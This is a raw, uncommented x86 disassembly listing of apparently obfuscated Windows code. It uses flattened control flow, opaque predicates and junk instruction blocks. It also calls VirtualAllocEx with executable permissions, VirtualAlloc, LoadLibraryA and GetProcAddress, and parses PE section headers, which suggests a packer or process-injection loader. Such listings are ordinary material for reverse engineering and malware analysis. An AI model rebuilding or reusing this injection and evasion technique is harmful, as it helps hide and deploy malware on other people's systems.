mov ecx, edx
not ecx
mov eax, edx
or eax, 0x6c7d6598
mov esi, edx
and esi, 0x6c7d6598
mov edi, ecx
and edi, 0x93829a66
and eax, 0x6c7d6599
and ecx, 0x4b0abe74
or edi, esi
xor eax, edi
mov esi, eax
not esi
and eax, 0xc0cbf22e
and esi, 0x3f340dd1
or eax, esi
mov esi, eax
xor esi, 0x400ab224
xor eax, 0x3f340dd1
mov edi, eax
or eax, edx
and edx, 0xb4f5418b
and edi, 0xb4f5418b
and esi, 0x4b0abe74
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xfe47d1bf
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
and cl, ch
mov ah, al
or al, dl
mov ch, cl
xor ah, dl
xor al, 1
xor ch, 1
or al, ah
mov dl, ch
mov ah, al
or al, cl
and dl, cl
xor ah, 1
xor al, 1
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
xor dl, ah
xor ah, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x74c23695
cmovne eax, esi
test dl, 1
mov edx, 0x74c23695
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0xe53ae947
jg 0x404733
cmp eax, 0xe2e17089
jle 0x405baf
cmp eax, 0xe2e1708a
je 0x4094aa
cmp eax, 0xe4bbd37a
je 0x4094c0
cmp eax, 0xe4c4470b
jne 0x401a00
mov eax, 0x4df6a22d
jmp 0x401a00
cmp eax, 0xfa2dd5d3
jle 0x40487b
cmp eax, 0xfb1e95ff
jle 0x405cce
cmp eax, 0xfb1e9600
je 0x4095f3
cmp eax, 0xfb2ed1ef
je 0x4095fd
cmp eax, 0xfb9e80e9
jne 0x401a00
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0x76d1fbf1
jmp 0x401a00
cmp eax, 0x8584fedc
jle 0x4048a6
cmp eax, 0x862b6eb2
jle 0x405cfa
cmp eax, 0x862b6eb3
je 0x409613
cmp eax, 0x87295a5f
je 0x409783
cmp eax, 0x877b890a
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa305c314
and eax, 0x5cfa3ceb
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x83050104
xor esi, 0x5cfa3ceb
xor eax, 0x18304
mov ecx, esi
and ecx, 0x7c10cef3
and edx, 0x83ef310c
or esi, 0x20001859
and eax, 0x1003a306
or edx, ecx
and esi, 0x663c5879
mov ecx, edx
xor edx, 0x7c10cef3
xor ecx, 0x83ef310c
or eax, esi
mov edi, edx
or edi, 0x463c4020
mov ebx, ecx
and ebx, 0x89c00480
and edx, 0x1e6e8685
and edi, 0x663c5879
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0xa9c01cd8
and esi, 0x563fe327
or eax, esi
mov esi, ecx
and esi, 0xe191797a
and ecx, 1
or esi, edx
xor esi, 0x1e6e8684
or ecx, esi
mov esi, 0x6c7ba029
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xd6aa72e8
mov edx, ecx
and edx, 0x28060c0
and eax, ecx
not ecx
and ecx, 0xd42a1228
or edx, ecx
xor edx, 0x28060c0
or eax, edx
mov ecx, eax
not ecx
and eax, 0x735f5ec8
and ecx, 0x8ca0a137
or eax, ecx
mov ecx, eax
xor ecx, 0xa4740c20
xor eax, 0x5a0ad3df
mov edx, eax
and edx, 0x18932dd
and ecx, 0xfe76cd22
or ecx, edx
xor ecx, 0x18932dd
xor eax, ecx
test eax, ecx
setne ah
sete ch
cmp dword [0x4a3f80], 0xa
setl dl
setge al
mov cl, dl
xor dl, ch
or ch, al
or cl, ah
xor ch, 1
xor cl, 1
or cl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
xor cl, 1
or al, ch
xor al, 1
or al, dl
mov edx, ecx
or cl, al
xor dl, al
mov eax, 0xda9a13e8
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0xda9a13e8
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0x4526a213
jle 0x4048d1
cmp eax, 0x462de820
jle 0x405e4e
cmp eax, 0x462de821
je 0x40986e
cmp eax, 0x47419c25
je 0x409878
cmp eax, 0x49b794a7
jne 0x401a00
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xa4]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0xc]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, 0x5e8d5bdf
jmp 0x401a00
cmp eax, 0xbb619b3f
jle 0x4048fc
cmp eax, 0xbc8dcd15
jle 0x405e6e
cmp eax, 0xbc8dcd16
je 0x409882
cmp eax, 0xbcc34b0a
je 0x4098b0
cmp eax, 0xbcd05de8
jne 0x401a00
mov eax, 0xd8a025e5
jmp 0x401a00
cmp eax, 0x15f5db4a
jle 0x40493a
cmp eax, 0x171c12a7
jle 0x405e8e
cmp eax, 0x171c12a8
je 0x409966
cmp eax, 0x17a08dbe
je 0x409aa2
cmp eax, 0x1a05a86b
jne 0x401a00
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x4b5fcd3e
mov eax, edx
and eax, 0x481d8120
and ecx, edx
not edx
and edx, 0x3424c1e
or eax, edx
mov edx, eax
xor edx, 0x481c8120
xor eax, 0xb7e27edf
mov esi, eax
and esi, 0xa3e30897
and edx, 0x481cc528
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5c1cf768
or eax, esi
and esi, 0xa3e30897
or ecx, esi
not eax
mov esi, 0x97d7770a
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4b5fcd3e
and ecx, 0xb4a032c1
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x8ef1f269
and eax, 0x710e0d96
or eax, edx
xor eax, 0x710e0d97
or eax, ecx
mov ecx, eax
xor ecx, 0x29a3c504
mov edx, eax
and edx, 0xa14404
and ecx, eax
not eax
and eax, 0x29028100
or edx, eax
xor edx, 0xa14404
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x8967c17a
and eax, 0x76983e85
or ecx, eax
xor ecx, 0xa0c4047e
setne ch
sete ah
cmp dword [0x4a3f80], 0xa
mov cl, ch
setge al
setl dl
inc cl
xor ch, al
or al, ah
and ch, ah
mov ah, dl
xor al, 1
or ah, cl
xor cl, dl
or al, ch
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
mov ah, al
or cl, dl
xor ah, 1
mov edx, eax
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, cl
or dl, ch
mov ch, dl
and dl, cl
xor cl, 1
xor ch, 1
and ch, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, 0x862b6eb3
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x862b6eb3
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0x9c96b248
jle 0x40496e
cmp eax, 0x9d4b80d0
jle 0x405ecb
cmp eax, 0x9d4b80d1
je 0x409aac
cmp eax, 0x9ddaf015
je 0x409c76
cmp eax, 0x9e5ba318
jne 0x401a00
mov eax, 0xaab4f833
mov dword [ebp - 0x30], 2
jmp 0x401a00
cmp eax, 0x66b76ca2
jle 0x405fec
cmp eax, 0x66b76ca3
je 0x409dc4
cmp eax, 0x68bfd976
je 0x409efe
cmp eax, 0x691cd048
jne 0x401a00
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8031c784
and eax, 0x4100187b
mov edx, ecx
and edx, 0xa000000
or ecx, 0x800c180
or esi, edx
and ecx, 0x3ccee180
mov edx, esi
xor edx, 0x80310604
xor esi, 0x3cce2000
or eax, ecx
and esi, 0x3ccee180
and edx, 0x82310604
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x8a31c784
and ecx, 0x75ce387b
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4cd7e359
and eax, 0xad0fb79
mov esi, edx
and esi, 0xb3281ca6
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb328e359
and esi, 0x4cd71ca6
or ecx, esi
mov esi, edx
and esi, 0xf52f0486
movzx edx, dx
or esi, eax
xor esi, 0xad00486
or edx, esi
mov eax, edx
not eax
and edx, 0xdfdb3b4
and eax, 0xf2024c4b
or edx, eax
mov eax, ecx
not eax
and ecx, 0x423aa7f7
mov esi, eax
and esi, 0xbdc55808
or ecx, esi
mov esi, edx
xor esi, 0x38a3b4
xor edx, 0xf2024c4b
or eax, edx
and edx, 0xbdc55808
and esi, 0x423aa7f7
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
xor ecx, 0xc2bae9ab
mov edx, eax
not edx
and ecx, eax
or eax, 0x3d451654
and edx, 0xc2aaa82b
mov edi, ecx
not edi
mov esi, eax
and esi, 0x35515184
and ecx, 0xcaaeae7b
or eax, edi
and edi, 0x35515184
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xeff00d6d
and ecx, 0x100ff292
or eax, ecx
mov ecx, eax
xor ecx, 0x2c0240c2
xor eax, 0x82951131
and ecx, 0x7c224aca
and eax, 0x83ddb535
or eax, ecx
mov ecx, eax
xor ecx, 0x5002024a
xor eax, 0x8349b434
and eax, 0xaf69fcb4
and ecx, 0x5096034b
or ecx, eax
mov eax, dword [ebp - 0x44]
xor ecx, 0x5096034b
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, 0x9c30b5ee
jmp 0x401a00
cmp eax, 0xedb8b1d8
jle 0x40600f
cmp eax, 0xedb8b1d9
je 0x40a0d8
cmp eax, 0xee5e257a
je 0x40a0e2
cmp eax, 0xef8e9b66
jne 0x401a00
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x150], eax
mov eax, 0xa517ab4c
jmp 0x401a00
cmp eax, 0xbe29649
jle 0x40602f
cmp eax, 0xbe2964a
je 0x40a25d
cmp eax, 0xc0cccf6
je 0x40a26a
cmp eax, 0xd4a4280
jne 0x401a00
push 0x40
push 0x3000
push dword [ebp - 0xc8]
push 0
push dword [ebp - 0xcc]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0x88a8dcb0
jmp 0x401a00
cmp eax, 0x94d3301a
jle 0x40605b
cmp eax, 0x94d3301b
je 0x40a274
cmp eax, 0x953489d8
je 0x40a34b
cmp eax, 0x95ed3358
jne 0x401a00
mov eax, 0x94d3301b
jmp 0x401a00
cmp eax, 0x564bf2ce
jle 0x406ae0
cmp eax, 0x564bf2cf
je 0x40a453
cmp eax, 0x57794b25
je 0x40a474
cmp eax, 0x5aabd061
jne 0x401a00
sub edx, 0x11
add esi, 0x51
rol edx, 0xb2
sbb edx, 0xd1
and edx, 0xb3
rcr eax, 2
neg esi
not edi
add ebx, 0x27
or ebx, 0xf4
or edx, 0xc0
not esi
imul eax
neg eax
sbb edi, 0xfe
and edx, 0x50
dec ebx
rcr edi, 0x87
sbb eax, 0x8f
mov ebx, 0x34
add edx, 7
not edi
sbb esi, 0x7b
rol esi, 0x78
dec eax
neg edi
not edx
dec edx
dec edx
add edx, 0xa1
bswap edi
sub esi, 0x11
dec edi
rol eax, 0x2a
sbb eax, 0x75
mov edi, 0x9a
and edi, 0xde
mov eax, 0xfb
mov ebx, 0xc2
rcr edi, 0xa6
dec esi
rol esi, 0xb9
and ebx, 0xb7
rol edx, 0x8f
sbb eax, 0x4d
neg ebx
imul eax
neg edi
rol eax, 0x5b
sbb ebx, 0x19
dec edi
rcl esi, 0xa3
or edx, 0x79
ror eax, 0xc1
rcr edx, 0x67
dec edi
bswap ebx
neg eax
ror ebx, 0x4e
imul edx
bswap ebx
inc edi
rol edi, 0x91
ror edx, 0x43
neg ebx
dec edi
or eax, 0x1f
sub eax, 0x31
ror eax, 0x54
not edx
dec esi
neg edx
and edx, 0x25
sub esi, 0x63
neg ebx
inc ebx
bswap edx
rcl edi, 0x1f
ror esi, 0xec
rcl esi, 0x8b
inc eax
not esi
neg edx
add esi, 0x9c
dec edx
inc edx
imul esi
or ebx, 0x32
rcr edx, 0xe9
inc ebx
dec edi
dec edx
dec edx
neg esi
rcr eax, 0xf2
bswap ebx
ror esi, 0x54
imul esi
add esi, 0x96
inc eax
dec eax
imul edi
inc edi
or eax, 0x72
neg edx
rol ebx, 0x47
dec esi
and eax, 0xf2
sub eax, 0xfc
imul ebx
not eax
ror eax, 0x7d
dec esi
sub edi, 0xd1
imul edi
sbb edi, 0x7b
inc eax
ror esi, 0xff
sub eax, 0x1f
not edx
imul ebx
imul edx
sbb edi, 0x49
not edx
inc edi
imul esi
bswap edx
not eax
neg ebx
add esi, 0xde
rcr eax, 0x5a
not ebx
and eax, 0x41
not eax
imul edx
and esi, 0x6e
rcl edi, 0xe5
add edi, 0x92
neg ebx
add eax, 0xbb
ror esi, 0x59
imul ebx
ror eax, 0xd3
or edx, 0xd1
imul edi
bswap edx
imul eax
not edx
sbb eax, 0x49
imul edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x5dc513ae
jmp 0x401a00
cmp eax, 0xcf11182b
jle 0x406b07
cmp eax, 0xcf11182c
je 0x40a60d
cmp eax, 0xd1112469
je 0x40aa04
cmp eax, 0xd2007d94
jne 0x401a00
push 0x400
push dword [ebp - 0xd4]
push dword [ebp - 0xd0]
vzeroupper
call fcn.00444420
add esp, 0xc
neg eax
rol ebx, 0x72
imul esi
neg edx
mov esi, 0x1f
not edx
imul edi
imul edx
dec edx
rol edi, 0x42
add esi, 0xf1
rcr eax, 0x21
not esi
rcr edi, 0xa6
add edi, 0x50
not eax
or edx, 0xb
mov ebx, 0xb
sub esi, 0x5b
add ebx, 0x39
or edi, 0x73
bswap eax
sbb eax, 0x86
neg ebx
rcl ebx, 0x74
not edx
not eax
neg esi
bswap eax
inc edi
imul edx
neg eax
not edx
mov edi, 0xb
inc edx
sub esi, 0x62
sbb esi, 7
dec edx
sub eax, 0xc8
rcr edi, 0x4c
rol ebx, 0xb5
bswap edi
or edx, 0xdd
not edi
mov ebx, 0xc9
rol esi, 0x18
and esi, 0xef
imul esi
bswap ebx
sub edi, 0x98
or eax, 0x85
or edx, 0xdf
dec ebx
rol edx, 0xdc
mov edi, 0xb3
rcr eax, 0x42
or esi, 0x77
imul eax
sbb esi, 0x8d
inc eax
bswap ebx
not ebx
dec ebx
dec ebx
rcl esi, 0xa0
rcr eax, 0x9e
dec edx
dec ebx
or esi, 0x79
not eax
add eax, 0x59
or eax, 5
rcr edi, 0x5c
imul ebx
dec edi
dec edi
not esi
mov eax, 0xef
mov edi, 0x11
not ebx
mov edx, 0x5d
rcl eax, 0x16
bswap ebx
not edx
neg edi
rcr esi, 0xc2
not esi
add eax, 0x1e
inc esi
bswap edi
neg edx
rcr eax, 0x6b
dec edi
rcl ebx, 0x55
neg ebx
inc esi
neg ebx
neg edi
or edi, 0x26
rcr eax, 0xc8
dec esi
mov esi, 0x7b
neg edi
imul edi
neg edi
bswap esi
and eax, 0x4e
bswap eax
sub edx, 0xb2
neg eax
neg ebx
sbb eax, 0xb5
inc eax
sub ebx, 0xc7
inc ebx
imul edi
add eax, 0xa1
not edi
mov edx, 0xc4
ror eax, 0x82
sub esi, 0xba
bswap edx
rcl edx, 0xcc
not esi
imul edi
and edi, 0x14
dec edi
rcr eax, 0x90
mov edi, 0xf
not edi
dec ebx
add ebx, 0xfd
inc edx
rcr edx, 0x61
add esi, 7
sub edi, 0x40
bswap edx
dec ebx
mov edi, 0xc8
mov edx, 0x6e
ror edi, 0x32
add edx, 0x44
neg ebx
bswap edx
or edx, 0x4d
sbb esi, 0xd6
or edx, 0x29
bswap ebx
inc eax
sub edx, 3
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
movzx eax, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 0x7c], eax
mov eax, 0xd6c22473
jmp 0x401a00
cmp eax, 0x2effc393
jle 0x406ba4
cmp eax, 0x2effc394
je 0x40aa2b
cmp eax, 0x2fee2a6b
je 0x40aa41
cmp eax, 0x3011b05b
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x52bf1a89
and eax, 0xad40e576
or eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xad40e576
xor edx, 0x52bf1a89
xor eax, 0x10851bb7
mov ecx, esi
or ecx, edx
or esi, 1
and edx, 0xfb4fbc26
and eax, ecx
mov ecx, eax
not ecx
and eax, 0x423a013f
and ecx, 0xbdc5fec0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfb4fbc27
mov edi, ecx
or ecx, esi
and edi, 0x4b043d8
and esi, 0x4b043d8
or edx, esi
or eax, edi
not ecx
mov esi, 0x9f6ce310
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x4f9d6989
and eax, 0xb0629676
or ecx, eax
mov eax, ecx
xor eax, 0xa010109
xor ecx, 0xb0221240
and eax, 0xa41853f
and ecx, 0xf5be7ac0
or ecx, eax
xor ecx, 0xf5be7ac0
sete al
setne cl
cmp dword [0x4a3f80], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
xor ah, 1
xor al, 1
or ah, cl
mov ecx, eax
or al, ah
xor cl, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x6448d927
cmovne eax, esi
test cl, cl
mov ecx, 0x6448d927
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x401a00
cmp eax, 0xac478741
jle 0x406bd3
cmp eax, 0xac478742
je 0x40aa4e
cmp eax, 0xad3aa834
je 0x40aa7b
cmp eax, 0xad5ce635
jne 0x401a00
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c0], eax
mov eax, 0xe5df3ab8
jmp 0x401a00
cmp eax, 0x74c23694
jle 0x406bf3
cmp eax, 0x74c23695
je 0x40aa96
cmp eax, 0x7544dbdf
je 0x40ab98
cmp eax, 0x75fd9cde
jne 0x401a00
mov eax, dword [ebp - 0x40]
mov dword [eax], 2
mov eax, 0x69a53e71
jmp 0x401a00
cmp eax, 0xdea79e28
jle 0x406c22
cmp eax, 0xdea79e29
je 0x40abb7
cmp eax, 0xdf2bc576
je 0x40abd0
cmp eax, 0xdf63d233
jne 0x401a00
push 4
push 0x3000
push dword [ebp - 0x130]
push dword [ebp - 0xb8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0xc0], 0
mov dword [ebp - 0x1c], eax
mov eax, 0x51f241c8
mov ecx, 0xa28441aa
cmove eax, ecx
jmp 0x401a00
cmp eax, 0x2ed3b4e
jle 0x406c42
cmp eax, 0x2ed3b4f
je 0x40abdd
cmp eax, 0x36b6991
je 0x40abe7
cmp eax, 0x4554c66
jne 0x401a00
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x7c]
mov eax, dword [eax]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8 + 0x24]
mov dword [ebp - 0x1a4], eax
mov eax, 0xc8d81937
jmp 0x401a00
cmp eax, 0x8bfed3d2
jle 0x406c62
cmp eax, 0x8bfed3d3
je 0x40abf7
cmp eax, 0x8d76ea3e
je 0x40ad03
cmp eax, 0x8f6c3276
jne 0x401a00
mov eax, dword [ebp - 0x84]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, 0x910fedc6
jmp 0x401a00
cmp eax, 0x504a9ef7
jle 0x406cba
cmp eax, 0x504a9ef8
je 0x40ae2c
cmp eax, 0x51b368e9
je 0x40afe5
cmp eax, 0x51caca15
jne 0x401a00
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x74], eax
mov eax, 0xf7b16c2f
jmp 0x401a00
cmp eax, 0xc4c3456b
jle 0x406eca
cmp eax, 0xc4c3456c
je 0x40afef
cmp eax, 0xc53f21db
je 0x40b004
cmp eax, 0xc69212a9
jne 0x401a00
mov ecx, dword [ebp - 0x158]
mov eax, 0xef8e9b66
mov dword [ebp - 0x70], ecx
jmp 0x401a00
cmp eax, 0x21238a89
jle 0x406ef1
cmp eax, 0x21238a8a
je 0x40b01a
cmp eax, 0x22535af9
je 0x40b1a2
cmp eax, 0x240bb01e
jne 0x401a00
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd1bcc03f
and eax, 0x2e433fc0
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x284307c0
xor eax, 0xd1bcc03f
xor ecx, 0xd1bcc03e
and ecx, eax
and edx, 0xe94b47fc
and eax, 0x16b4b803
or eax, edx
xor eax, 0x16b4b802
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x6a38628
and edx, 0xf95c79d7
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf95c79d7
or eax, esi
and esi, 0x6a38628
or ecx, esi
not eax
mov esi, 0xbb08f783
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1820c7c0
and ecx, 0xe7df383f
or ecx, eax
mov eax, ecx
xor eax, 0xc2c0
xor ecx, 0xa1870806
and ecx, 0xb9a70d06
and eax, 0x4658f2f9
or eax, ecx
xor eax, 0x4658f2f9
sete dl
setne ch
cmp dword [0x4a3f80], 0xa
mov dh, dl
setl ah
setge cl
mov al, ah
xor ah, dl
and dh, cl
xor dl, cl
or cl, ch
xor cl, 1
and al, ch
or cl, ah
mov ah, dl
or al, dh
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
mov edx, eax
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x808ae818
cmovne eax, esi
test dl, 1
mov edx, 0x808ae818
jmp 0x40a44b
cmp eax, 0xa57e8891
jle 0x406f1c
cmp eax, 0xa57e8892
je 0x40b2a4
cmp eax, 0xa684fd68
je 0x40b2ae
cmp eax, 0xa7887610
jne 0x401a00
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x4a3f84]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4024230d
and eax, 0x6088880
mov edx, ecx
or edx, 0xb9424070
and esi, 0xf966637d
and ecx, 0x911402
and edx, 0xf966637d
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xd21d1389
and ecx, 0x2de2ec76
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x90001004
xor edx, 0x6bce47fb
xor ecx, 0x6bce47fa
and ecx, edx
and eax, 0xf3445075
and edx, 0xcbbaf8a
or edx, eax
mov eax, ecx
not eax
and ecx, 0x13aa00ff
mov esi, eax
and esi, 0xec55ff00
or ecx, esi
mov esi, edx
xor esi, 0xaa008b
xor edx, 0xf3445074
or eax, edx
and edx, 0xec55ff00
and esi, 0x13aa00ff
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xedb8b1d9
mov edx, eax
xor edx, 0x2759ddb9
mov ecx, eax
and ecx, 0x358c538
and edx, eax
not eax
and eax, 0x24011881
or ecx, eax
xor ecx, 0x358c538
or ecx, edx
not edx
and edx, 0xd8a62246
and ecx, 0x2759ddb9
or ecx, edx
setne cl
sete dl
cmp dword [0x4a3f80], 0xa
mov ch, cl
setl al
setge ah
and ch, ah
and al, dl
xor cl, ah
or al, ch
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
not dl
or al, ah
and ah, dl
mov edx, 0xedb8b1d9
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xf1675779
cmovne edx, ecx
test ah, ah
mov ecx, edx
cmovne ecx, esi
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x401a00
cmp eax, 0x6f507cad
jle 0x406f4d
cmp eax, 0x6f507cae
je 0x40b2b8
cmp eax, 0x6f81e8d7
je 0x40b2c2
cmp eax, 0x6ff748d8
jne 0x401a00
mov eax, 0xe6210fc9
jmp 0x401a00
cmp eax, 0xf4ae2a10
jle 0x406f6d
cmp eax, 0xf4ae2a11
je 0x40b2cc
cmp eax, 0xf5fea1dc
je 0x40b3c7
cmp eax, 0xf74020cc
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x152c51cf
mov esi, edx
and esi, 0xead3ae30
and edx, 0x8494fdd8
or eax, esi
mov esi, eax
xor eax, 0x60d3a830
xor esi, 0x80148
or eax, 0x8f245682
and esi, 0x20180148
mov edi, eax
and edi, 0xdbe3acb5
or esi, edi
mov edi, ecx
xor edi, 0x70dba97d
and edi, ecx
and ecx, 0x7b6b0227
mov ebx, edi
not ebx
and edi, 0x241c534a
or ecx, edx
or eax, ebx
and ebx, 0xdbe3acb5
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x70dba97c
and esi, 0x8f245683
or eax, esi
mov esi, eax
not esi
and eax, 0x7165049a
and esi, 0x8e9afb65
or eax, esi
mov esi, eax
xor esi, 0x21400098
xor eax, 0x8e9afb65
mov edx, eax
and edx, 0xdc256c47
and esi, 0x23da93b8
or esi, edx
mov edx, ecx
xor edx, 0x234a0220
xor ecx, 0x8494fdd8
or eax, ecx
and ecx, 0xdc256c47
and edx, 0x23da93b8
or edx, ecx
not eax
xor edx, esi
mov esi, 0x5d5cd7dd
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5e64dc20
and ecx, 0xa19b23df
or eax, ecx
xor eax, 0x5e64dc20
sete dl
setne ah
cmp dword [0x4a3f80], 0xa
setl ch
setge al
mov cl, ch
xor al, ah
or dl, ch
xor ch, ah
not ch
xor al, 1
or cl, ah
and ch, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
mov al, cl
xor dl, 1
xor al, 1
or dl, ah
mov ah, dl
and dl, al
xor ah, 1
and cl, ah
or ah, al
or cl, dl
mov al, ah
mov edx, 0x504a9ef8
xor al, cl
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x504a9ef8
jmp 0x40bf7a
cmp eax, 0x11946802
jle 0x40704f
cmp eax, 0x11946803
je 0x40b3d7
cmp eax, 0x130b0818
je 0x40b3e1
cmp eax, 0x1359055a
jne 0x401a00
mov eax, 0xa2813635
jmp 0x401a00
cmp eax, 0x99c340b3
jle 0x40706f
cmp eax, 0x99c340b4
je 0x40b3ee
cmp eax, 0x9a705c33
je 0x40b404
cmp eax, 0x9ab70671
jne 0x401a00
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x78e79fd7
and edx, 0x87186028
or eax, edx
mov edx, eax
xor edx, 0x50410287
xor eax, 0x87186028
mov esi, eax
and esi, 0x28b6bd50
and edx, 0xd74942af
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd74942af
or eax, esi
and esi, 0x28b6bd50
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xc44d3148
and eax, 0x8890
mov edx, ecx
or edx, 0x2b204405
and esi, 0xef6d754d
and ecx, 0x10920222
and edx, 0xef6d754d
or ecx, esi
mov esi, 0x2b37df63
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x3bb24627
and ecx, 0xc44db9d8
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x695880cb
and ecx, 0x96a77f34
or eax, ecx
xor eax, 0x96a77f34
sete cl
setne dl
cmp dword [0x4a3f80], 0xa
setl ah
setge al
